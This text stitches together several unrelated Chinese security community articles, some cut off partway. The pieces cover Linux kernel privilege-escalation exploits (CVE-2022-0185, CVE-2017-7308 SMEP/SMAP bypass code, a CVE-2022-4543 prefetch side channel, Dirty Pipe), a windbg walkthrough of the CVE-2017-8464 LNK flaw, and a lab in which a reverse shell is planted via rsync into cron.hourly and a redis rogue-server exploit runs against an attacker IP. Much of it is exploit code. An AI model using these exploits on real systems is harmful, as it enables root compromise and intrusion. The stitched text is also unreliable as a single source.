len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //--此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝，存在越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
(len > PAGE_SIZE - 2 - size )判断处有问题，根据符号优先级 `"-"`的优先级是4，`">"`
的优先级是6，所以先执行右边模块。又因为数据类型自动转换原则，`"PAGE_SIZE-2-size"`
转换为无符号进行运算。size变量由用户空间传入，当size的值大于“PAGE_SIZE-2”的差值时，运算产生溢出。后面拷贝时，size是大于kmalloc申请的“PAGE_SIZE
- 2”大小。在memcpy(ctx->legacy_data + size, param->string, param->size);
这个位置，导致溢出。
legacy_parse_param函数是处理文件系统挂载过程中的一些功能，所以对这个漏洞的利用，不同磁盘格式利用方式也不一样，这里我们在ext4磁盘格式下，了解一下其漏洞利用过程。首先fsopen打开一个文件系统环境，用户可以用来mount新的文件系统。
fsconfig()调用能让我们往
ctx->legacy_data写入一个新的(key,valu),ctx->legacy_data指向一个4096字节的缓冲区（首次配置文件系统时就分配）。
len > PAGE_SIZE-2-size , len是将要写的长度，PAGE_SIZE == 4096,
size是已写的长度，2字节表示一个逗号和一个NULL终止符。当size是unsigned
int（总是被当作正值），会导致整数溢出，如果相减的结果小于0，还是被包装成正值。执行117次后添加长度为0的key和长度为33的value，最终的size则为（117*（33+2））==4095，这样PAGE_SIZE-2-size==-1==18446744073709551615
,这样无论len多大都能满足条件。可以设置为"\x00",这样逗号会写入偏移4095，等号写入下给kmalloc-4096d
偏移0处，接着就能往偏移1处开始往后写value。
针对这个漏洞，我们可以利用seq_operations结构体泄露内核基地址从而绕过KASLR，seq_operations
是一个大小为0x20的结构体，在打开/proc/self/stat会申请出来。里面定义了四个函数指针，通过他们可以泄露出内核基地址。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
利用seq_operations泄露内核基地址：堆喷大量 seq_operations (open("/proc/self/stat",O_RDONLY))
,溢出篡改msg_msg->m_ts的值，从而泄露基地址。
* 准备 fs_context 漏洞对象；
int call_fsopen(){
int fd = fsopen("ext4",0);
if(fd <0){
perror("fsopen");
exit(-1);
}
return fd;
}
* 往kmalloc-32堆喷seq_operations对象；
for(int i=0;i<100;i++){
open("/proc/self/stat",O_RDONLY);
}
* 创建大量msg_msg消息(大小为0xfe8)，会将辅助消息分配在kmalloc-32
* 触发kmalloc-4096溢出，修改msg_msg->m_ts;
char tiny_evil[] = "DDDDDD\x60\x10";
fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
fsconfig(fd,FSCONFIG_SET_STRING,"\x00",tiny_evil,0);
* 利用msg_msg越界读，泄露内核指针。
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
printf("[*] received 0x%lx\n", kbase);
泄露出基地址后，可根据偏移计算任何内核函数地址达到提权。
#### 2、SMEP&SMAP保护
linux内核从3.0（2011年8月）开始支持SMEP，3.7（2012年12月）开始支持SMAP。SMEP（Supervisor Mode
Execution
Protection）是一种用于保护操作系统内核安全的技术。它通过在CPU开一个比特位，来限制内核态访问用户态的代码。当有了内核的控制权去执行用户态中的shellcode，CPU会拒绝执行该操作，并向操作系统发出一个异常中断。这样，即使攻击者成功执行了恶意代码，也无法绕过系统安全保护访问，从而大大增强了系统的安全性。根据CR4寄存器的值判断是否开启smep保护，当CR4寄存器的第20位是1时，保护开启，为0时，保护关闭。
SMAP（Supervisor Mode Access
Protection）是一种用于保护操作系统内核的安全技术。它与SMEP相似，都在CPU中开启一个比特位来限制内核态访问用户态的能力。它使用户态的指针无法被内核态解引用。这样即使攻击者成功执行了恶意代码，也无法绕过系统安全保护读取内核空间中的敏感信息。判断CR4寄存器的值来确定是否开启，当CR4寄存器的值第21位是1时，SMAP开启。
针对SMEP、SMAP保护时，一般是通过漏洞修改寄存器关闭保护，达到绕过保护的目的。比如可以通过获得内核基地址后算出native_write_cr4函数在内存运行时地址,控制PC跳转到native_write_cr4函数去覆写CR4寄存器的20位和21位关闭保护，CPU只是判断CR4寄存器的20位21位的值，只要为0零就能关闭保护，同样也可以使用ROP的方式在内核镜像中寻找ROP组合出能修改cr4寄存器的链。
CVE-2017-7308漏洞，是内核套接字中的packet_set_ring()函数没有正确检测size,长度判断条件错误，导致堆溢出。
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring){
...
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size - BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
goto out;
...
}
判断内存块头部加上每个内存块私有数据的大小不超过内存块自身的大小，保证内存中有足够的空间。当req_u->req3.tp_sizeof_priv
接近unsigned int 的最大值时，这个判断就会被绕过。随后代码执行到init_prb_bdqc函数处创建环形缓冲区。
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring){
...
order = get_order(req->tp_block_size); // 内核页的阶
pg_vec = alloc_pg_vec(req, order); // 在某个阶上取一页
if (unlikely(!pg_vec))
goto out;
// 创建一个接收数据包的TPACKET_V3环形缓冲区。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
...
}
在init_prb_bdqc函数中，req_u->req3.tp_sizeof_priv（unsigned
int）赋值给了p1->blk_sizeof_priv（unsigned
short），被分割成低位字节。因为tp_sizeof_priv可控，所以blk_sizeof_priv也可控。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); //初始化第一个内存块
}
因为blk_sizeof_priv可控，进而可以间接控制max_frame_len的值，该值是最大帧范围，控制max_frame_len的值超过实际帧大小，当内核接收数据包即可绕大小检测。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
struct timespec ts;
struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
...
}
nxt_offset是写入内存块的偏移量。通过pkc1->blk_sizeof_priv间接控nxt_offset。从packet_set_ring函数绕过检测开始，后面的最大值以及写入偏移都可控，所以可以利用溢出修改SMEP和SMAP保护。
利用思路首先创建一个环形缓冲区，再在某个环形缓冲区内存后面分配一个packet_sock对象，将接收环形缓冲区附加到packet_sock对象，溢出它，覆盖prb_bdqc->retire_blk_timer字段，使得retire_blk_timer->func指向native_write_cr4函数，retire_blk_timer->data
设置覆盖值，等待计时器执行func后关闭SMEP和SMAP。native_write_cr4函数是内核4.x版本的内置inline汇编函数，主要用来修改CR4寄存器的。
堆分配512个 socket对象
void kmalloc_pad(int count) {
for(int i=0;i<512;i++){
if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP))==-1)
printf("[-] socket err\n");
exit(-1);
}
}
页分配1024个页
void pagealloc_pad(int count){
packet_socket(0x8000,2048,count,0,100);
}
int packet_socket(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
printf("[-] socket err\n");
exit(-1);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo"); //网络接口
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
printf("[-] bind err\n");
exit(-1);
}
return s;
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
printf("[-] setsockopt err\n");
exit(-1);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
// 创建PACKET_RX_RING 的环形缓冲区
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
printf("[-] setsockopt err\n");
exit(-1);
}
}
执行关闭SMEP和SMAP保护
void oob_timer_execute(void *func, unsigned long arg) {
// 构造溢出堆
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
// 环形缓冲区后面创建 packet_sockt 对象
int timer = packet_sock_kmalloc();
// 附加到packet_sockt对象后面，设置计时器时间
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func; // 为 native_write_cr4 函数地址
timer->data = arg;
timer->flags = 1;
// 发送数据包到接收环形缓冲区上，溢出环形缓冲区的retire_blk_timer->func，并等待计时器执行
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
// 为了构造堆溢出，计算到 retire_blk_timer 的偏移值
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
溢出xmit字段，指向用户空间的申请的commit_creds(prepare_kernel_cred(0)) 函数获得root。
void oob_id_match_execute(void *func) {
// 创建环形缓冲区构造堆溢出，计算packet_sock->xmit的偏移
oob_setup(2048 + XMIT_OFFSET - 64);
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc(); //创建 packet_sockt 对象
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func; // 用户空间的commit_creds(prepare_kernel_cred(0))函数
// 溢出写入packet_sock->xmit处
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]); // 发送数据包到 packet_sockt对象上，执行xmit
}
#### 3、KPTI保护
linux内核从4.15（2018年-2月）开始支持KPTI。KPTI（kernel page-table isolation,
内核页表隔离，也称PTI）是Linux内核中的一种强化技术，旨在更好地隔离用户空间与内核空间的内存来提高安全性，缓解现代x86
CPU中的“熔毁”硬件安全缺陷。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了 KPTI,由于内核态和用户态的页表不同，所以如果使用
ret2user或内核执行 ROP返回用户态时，由于内核态无法确定用户态的页表，就会报出一个段错误。
针对这种保护方式，主流是通过signal函数和KPTI
trampoline方法，近段时间一个新的思路，通过侧信道泄露内存地址，从而绕过KPTI保护，执行指定代码。
CVE-2022-4543
漏洞绕过带有KPTI的保护，通过预取侧信道找到entry_SYSCALL_64的地址，并且它与`__entry_text_start`和其他部分一起随机化。思路是重复多次执行系统调用以确保页上有缓存指令在TLB中，然后预取侧信道处理程序的可能选定范围（如0xffffffff80000000-0xffffffffc0000000）。TLB（
虚拟到物理地址转换的缓存机制）。x86_64有一组预取指令RDTSC，这些指令将地址“预取”到 CPU 缓存中。如果正在加载的地址已存在于 TLB
中，则预取将快速完成，但当地址不存在时，预取将完成得较慢（并且需要完成页表遍历）。
for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104); // 多次调用，确保缓存指令在TLB中
uint64_t time = sidechannel(test); // 预取
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
普通用户权限侧信道绕过带有给KPTI保护。
### 四、新内核漏洞利用方法
由于内核保护的手段日益增多，传统的漏洞利用方法也越来越困难，所以安全研究者在研究一些新的漏洞利用方法。新的利用方法可以不关注上面的保护，如果漏洞品相好可以直接绕过保护达到内核任意地址读写。如：CVE-2022-0847
它因splice函数映射文件时没有重置pipe中的flag标志，导致缓存页越权写入内容,利用该漏洞可在root权限文件中写入提权脚本。
#### 1、pipe管道技术
前置知识：pipe管道Linux内核中，管道本质是创建一个 **虚拟的inode** （即创建一个虚拟文件节点）来表示，其中在节点上描述管道信息的结构体为
**pipe_inode_info** (inode->i_pipe). 其中包含一个管道的所有信息。当创建一个管道时，内核会创建 **VFS
inode** ， **pipe_inode_info** 结构体、两个文件描述符（代表着管道的两端）、 **pipe_buffer**
结构体数组。管道原理的示意图列。
用来表示管道中数据的是一个 **pipe_buffer** 结构数组，单个 **pipe_buffer** 结构体用来表示管道中单张内存页的数据：
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: 管道缓冲区存放了数据的页
* @offset: 在@page中数据的偏移
* @len: 在@page中数据的长度
* @ops: 该buffer的函数表，参见@pipe_buf_operations.
* @flags: 管道缓冲区的标志位，
* @private: 函数表的私有数据
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
有两个系统调用可以创建管道，pipe、pipe2.这两个系统调用最终都会调到 do_pipe2()函数。
存在如下调用链：
do_pipe2()
__do_pipe_flags()
create_pipe_files()
get_pipe_inode()
alloc_pipe_info()
最终调用 kcalloc()分配一个 pipe_buffer数组，默认数量为 PIPE_DEF_BUFFERS（16）.
即一个管道初始默认可以存放16张页面的数据.
pipe_inode_info创建:
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // 这个是 16
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
//...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
pipe链接到 inode节点上
static struct inode * get_pipe_inode(void)
{
struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
struct pipe_inode_info *pipe;
...
pipe = alloc_pipe_info(); //创建 pipe
if (!pipe)
goto fail_iput;
inode->i_pipe = pipe; // pipe 链接到 inode节点上
...
示意图：
管道的本体是 pipe_inode_info 结构体，其管理
pipe_buffer数组的方式本质上是一个循环队列，其head成员标识队列头的idx、tail成员表示队列尾的idx，头进尾出.
管道的写入过程
查表pipefifo_fops可知当向管道写入数据时，会调用到pipe_write函数。流程如下：
* 若感到非空且上一个buf未满，则先尝试向上一个被写入的buffer写入数据（若该buffer设置了 **PIPE_BUF_FLAG_CAN_MERGE** 标志位）
* 接下来开始对新的buffer进行数据写入，若没有 **PIPE_BUF_FLAG_CAN_MERGE** 标志位则分配新页面后写入
* 循环第二步直到完成写入，若管道满了则会尝试唤醒read读取让管道腾出空间。
这里可知 **PIPE_BUF_FLAG_CAN_MERGE** 用以标识一个 **pipe_buffer**
是否已经分配了可以写入的空间。在大循环中若对于 **pipe_buffer** 没有设置该 **flag**
（刚被初始化），则会新分配一个页面供写入，并设置该表示位。
管道的读出过程
查表管道读出数据时调用 pipe_read,主要是读取buffer对应的page上的数据，若一个buffer被读完了则将其出列。
对于一个刚刚建立的管道，其 buffer 数组其实并没有分配对应的页面空间，也没有设置标志位；在我们向管道内写入数据时会通过 buddy system
为对应 buffer 分配新的页框， **并设置 PIPE_BUF_FLAG_CAN_MERGE 标志位，标志该 buffer 可以进行写入**
；而当我们从管道中读出数据之后，纵使一个 buffer 对应的 page 上的数据被读完了，我们也不会释放该 page，而是会直接投入到下一次使用中，
**因此会保留 PIPE_BUF_FLAG_CAN_MERGE 标志位。**
写入时会设置 **PIPE_BUF_FLAG_CAN_MERGE 标志位。** 读出时会保留 **PIPE_BUF_FLAG_CAN_MERGE
标志位。**
splice：文件与管道间数据拷贝
当我们想要将一个文件的数据拷贝到另一个文件时，比较朴素的一种想法是打开两个文件后将源文件数据读入后再写入目标文件，但这样的做法需要在用户空间与内核空间之间来回进行数据拷贝，
**具有可观的开销。**
因此为了减少这样的开销， splice这一个非常独特的系统调用应运而生，其作用是 **在文件与管道之间进行数据拷贝** ，以此
**将内核空间与用户空间之间的数据拷贝转变为内核空间内的数据拷贝，从而避免了数据在用户空间与内核空间之间的拷贝造成的开销。**
当你想要将数据从一个文件描述符拷贝到另一个文件描述符中，只需要先创建一个管道，之后使用 splice 系统调用将数据从源文件描述符拷贝到管道中、再使用
splice 系统调用将数据从管道中拷贝到目的文件描述符即可。这样的设计使得我们只需要两次系统调用便能完成数据在不同文件描述符间的拷贝工作，且
**数据的拷贝都在内核空间中完成，极大地减少了开销。**
漏洞利用
写、读管道，设置 PIPE_BUF_FLAG_CAN_MERGE flag， **将管道写满后再将所有数据读出** ，这样管道的每一个
pipe_buffer 都会被设置上 PIPE_BUF_FLAG_CAN_MERGE 标志位
pipe(pipe_fd);
pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
buffer = (char*) malloc(page_size);
for (int i = pipe_size; i > 0; )
{
if (i > page_size)
write_size = page_size;
else
write_size = i;
i -= write(pipe_fd[1], buffer, write_size);
}
for (int i = pipe_size; i > 0; )
{
if(i>page_size)
read_size = page_size ;
else
read_size = i;
i -= read(pipe_fd[0], buffer, read_size);
}
调用splice 函数建立 pipe_buffer 与文件的关联（漏洞产生点）使用 splice 系统调用将数据从文件中读入到管道，为了让
pipe_buffer->page 其中一个页替换为文件内存映射页。
splice(file_fd, &offset_from_file, pipe_fd[1], NULL, 1, 0);
向管道中写入恶意数据，完成越权写入文件， splice
函数使内核中管道建立完页面映射后，head指针会指向下一个pipe_buffer,此时我们再向管道中写入数据，管道计数器会发现上一个 pipe_buffer
没有写满，从而 **将数据拷贝到上一个 pipe_buffer 对应的页面——即文件映射的页面** ，由于 PIPE_BUF_FLAG_CAN_MERGE
仍保留着，因此 **内核会误以为该页面可以被写入** ，从而完成了越权写入文件的操作。
write(pipe_fd[1], file_fd, data_size);
漏洞测试效果：
flag文件只有读权限没有写权限，使用CVE-2022-0847向这个文件写入内容。
成功向flag写入内容。在实现情况中，向有root权限的脚本中写入提权代码，触发执行即可获得root权限，该方法可减少内核函数地址计算以及安全保护的绕过。
#### 2、kernel5.x版本和kernel4.x版本的不同
在kernel
4.x版本中常用的绕过保护方式,漏洞利用成功控制PC后跳转到native_write_cr4函数关闭SMEP、SMAP保护，使之后部署和执行shellcode提权更为便捷。
但是在kernel 5.x版本中native_write_cr4函数被添加了commit
增加了对CR4寄存器的判断，如检测到了修改就还原CR4寄存器的值，不在是之前那种简单的汇编形式了，像以前一样简单调用函数关闭SMEP和SMAP将不在可行。
现在较为常用的技术是利用漏洞修改常量modprobe_path 的字符串地址，
modprobe_path是用于在Linux内核中添加可加载的内核模块，当我们在Linux内核中安装或卸载新模块时，就会执行这个程序。而当内核运行一个错误格式的文件（或未知文件类型的文件）的时候，也会调用这个
modprobe_path所指向的程序。如果我们将这个字符串指向我们自己的sh文件 ，并使用 system或 execve
去执行一个未知文件类型的错误文件，那么在发生错误的时候就可以执行我们自己的二进制文件了。同样的有了新的利用方法也会出现相对应的保护方法。
### 五、总结
内核保护和利用是一个长期对抗的过程，出现了新的利用方法相应的也会出现新的对抗手段。
安全防护并不能完全保证内核是安全的，一旦有危害性更高的漏洞出现，就很容易打破这些保护使其轻易的获取系统权限。安全不能仅仅依靠这些保护机制，应要时常关注漏洞报送信息或安全邮件组里讨论的安全事件，及时更新安全补丁。
* * * | 社区文章 |
# CVE-2017-8464：震网三代漏洞windbg动态调试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞历史
2010年，攻击伊朗核工厂的漏洞利用工具就是“震网一代”，它因此被公认为世界上首个网络“超级破坏性武器”。
2011年，“震网二代”蠕虫病毒出现，因为他会在临时目录下生成名为~DQ的随机文件，也被称作Duqu。
2017年6月14日，微软在补丁中修补了一个快捷方式漏洞，也就是CVE-2017-8464漏洞，公告称此漏洞被国家背景的网络攻击所使用。该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞（CVE-2010-2568）非常类似，对能源、交通、金融等基础设施隔离网极具杀伤力，所以CVE-2017-8464漏洞也被称为震网三代。
它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。当存在漏洞的电脑被插上保存有漏洞文件的U盘时，不需要格外操作，漏洞攻击程序就可以执行并完全控制用户的电脑系统。
## 分析环境
采取双机调试的方法，被调试机使用Windows
7版本虚拟机，在硬件选项中添加串行端口，并命名为\\.\pipe\com_1，在I/O模式中勾选轮询时主动放弃。调试机使用Windows
10版本物理机，在桌面创建windbg(x86)版本快捷方式，并在属性的目标后添加-b -k
com:pipe,port=\\.\pipe\com_1,resets=0。
poc采用网上已经有的test.lnk和a.dll文件，将a.dll文件放到C盘目录下，进行漏洞利用。(建议桌面只剩一个test.lnk，避免加载其它快捷方式干扰调试)。
## 总体调试
首先使用 **!process 0 0** 找到explorer.exe的PROCESS
断到指定进程环境下 **.process -i -r -p 883802e8`**
再下断点bp kernel32!LoadLibraryW
键入g命令继续运行，在被调试机中刷新桌面，windbg断下，显示如下内容：
kernel32!LoadLibraryW:
001b:765cf142 8bff mov edi,edi
接下来键入k查看栈回溯。
看到SHELL32!CShellLink::_LoadFromFile，猜测是从这个函数开始解析lnk文件的。使用 **lm v m shell32**
命令查看得到shell32.dll的在漏洞机中的路径：
然后就可以拿出来有漏洞的文件啦，我们接下来一边动态调试一边静态分析。
## 分步调试
首先在关键函数处下断点
bp SHELL32!CShellLink::_LoadFromStream
bp shell32!CShellLink::_LoadIDList
bp shell32!CShellLink::_DecodeSpecialFolder
bp shell32!TranslateAliasWithEvent
bp shell32!ReparseRelativeIDList
bp shell32!DisplayNameOfAsString
bp shell32!ReparseRelativeIDList+0xd5
bp shell32!CControlPanelFolder::_GetTemporaryAppIdForApplet
bp shell32!CControlPanelFolder::ParseDisplayName
bp shell32!CControlPanelFolder::_GetPidlFromAppletId
bp CControlPanelFolder::_GetAppletPathForTemporaryAppId
bp shell32!CPL_LoadCPLModule
首先是断到 **CShellLink::_LoadFromStream** 处，根据ida分析，我们可以知道它对lnk文件进行了一些必要的格式检查。
接下来断到 **CShellLink::_LoadIDList**
，是把ItemID[0]+ItemID[1]+ItemID[2]加载到this->0n188，我们执行到该函数结束（ **gu**
）查看this->0n188处可以看到加载的东西（ **db poi(ebx+0n188)** ）。
接下来单步步过直到!CShellLink::_LoadFromStream+0x28读取extra_data数据，我们执行到此处查看this->0n228，可以看到将我们构造的extra_data数据加载进来（
**db poi(ebx+0n228)** ）。
CShellLink::_DecodeSpecialFolder
解析SpecialFolderDataBlock，在过程中会使用A000000B和A0000005判断是否是specialfolder，我们可以查看一下
使用 **db poi(esi+0E4h)** 查看specialfolder
然后会用 Specialfolder ID 和 the offset 0x28在IDList找Item ID。
在SHCloneSpecialIDList中使用Specialfolder ID 0x03
**d esp+8 l1**
函数返回的是一个指向Control Panel的ITEMIDList结构的指针。
TranslateAliasWithEvent（根据0x28找id）
第一个参数是this->0n188处就是刚才加载的IDList，第二个参数是指向一块存放 ItemID[0]和ItemID[1]的内存。
在TranslateAliasWithEvent+0x86，然后调用ILFibChirld找到item[2]。
**bp shell32!ReparseRelativeIDList**
**db ecx**
使用偏移量找到C:\a.dll
**bp shell32!DisplayNameOfAsString**
**db poi(esp+8)** ，查看第二个参数
该函数使用SHBindToFolderIDListParent
给定以文件夹形式指定的Shell命名空间项目，以及相对于该文件夹的项目标识符列表，此函数绑定到命名空间项目的父项，并有选择地返回指向项目标识符列表的最终组件的指针。
**bp shell32!CControlPanelFolder::_GetTemporaryAppIdForApplet**
该函数把路径写进s_dsaTemporaryAppId。
一直返回到shell32!ReparseRelativeIDList+0xd5。完成对内存中前两项与恶意dll文件的绑定。
**db poi(ebp-18)**
**bp shell32!CControlPanelFolder::ParseDisplayName**
该函数是调用动态对象的虚表函数来实现的，可以看出a.dll此时已经成为一个临时对象。
**bp CControlPanelFolder::_GetAppletPathForTemporaryAppId** 获取dll str
使用临时对象获取dll str
执行完毕后
**db esp-98c**
接着以此为参数调用shell32!CPL_LoadCPLModule函数
完成恶意dll文件的加载
### 参考资料
<https://bbs.pediy.com/thread-248701.htm> | 社区文章 |
第一个 rsync （文件同步）配置文件在 /etc/rsynd.conf
第二个 redis （缓存服务）配置文件 /etc/redis.conf
第三个 nfs（文件共享）
## Rsync
介绍：Rsync是linux下一款数据备份工具，默认开启873端口
* 环境搭建
使用的vulhub（<https://vulhub.org/）环境（ps:太爱这个了）>
> git clone <https://github.com/vulhub/vulhub.git>
> cd /path/to/vuln/
> 切换到相应目录下，这里是/vulhub/rsync/common
> docker-compose build
> docker-compose up -d
漏洞环境启动
因为rsync默认开放的是873端口
所以直接nmap扫描一波端口
可见漏洞环境没有问题，出现了873端口
我们先列出模板
rsync rsync://目标ip:873/
列出模块src下的文件
rsync rsync://目标ip:873/
可以看到目标机下的文件全部被列了出来
于是我们可以下载文件
我们就下载rsync下的配置文件/etc/rsynd.conf
rsync -av rsync://目标ip:873/src/etc/rsyncd.conf /root/1.conf
-v 打印更多的信息
-a, --archive 归档模式，表示以递归方式传输文件，并保持所有文件属性
在自己本地查看文件内容
于是开始我们实验的重点；提权！！！
写入shell
赋予执行权限：chomd +x shell
将shell上传至/etc/cron.hourly
于是开启本地监听
但是在这里迟迟得不到响应。
后来知道原来是crontab配置文件的问题
下载crontab配置文件，并且查看
其中这里的17的意思是每小时的第17分钟执行run-parts --report
/etc/cron.hourly命令。也就是说只有在17分钟时，才可以反弹shell.
那我们现在该干嘛呢？等？不可能的，这是测试，又不是实战.
啊啊啊啊啊啊！没找到办法，还是等吧。
Ps:第一次等了40分钟，结果我的shell，手误多打了个a
啊啊啊啊啊啊啊啊！
再等一个小时吧！
终于等到你，还好没有放弃。
## redis
我们这里还是使用的是vulhub的靶机
首先先扫描下目标靶机
发现开放6379端口，说明可能存在redis未授权访问漏洞
这里我们直接使用网上的exp打```
<https://github.com/vulhub/redis-rogue-getshell>
```
命令如下：
git clone https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/exp/
make
cd ../../
python3 redis-master.py -h
python3 redis-master.py -r 目标ip -p 6379 -L 攻击ip -P 8888 -f
RedisModulesSDK/exp/exp.so -c "whoami"
注：关于Redis 4.x/5.x RCE的介绍可以参考[这篇文章](https://christa.top/details/39/ "这篇文章")
深入了解可以参考[WCTF2019 Final分享会](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf "WCTF2019 Final分享会")
## NFS
NFS默认开放的是2049端口
关于NFS的主要执行命令如下：
* `showmount -e IP` //查看主机的文件列表
* `mkdir /temp/` //在本地创建一个空的文件夹，例如/temp/
* `mount -t nfs 192.168.x.xxx:/ /temp -o nolock` //将共享文件挂载到本地
* `cd /temp/` 于是在本地我们就可以自己查看文件了 | 社区文章 |
# 针对列车控制系统的多通道中间人攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Mengchao Chi, Bing Bu, Hongwei Wang, Yisheng Lv, Shengwei
Yi,Xuetao Yang,Jie Li
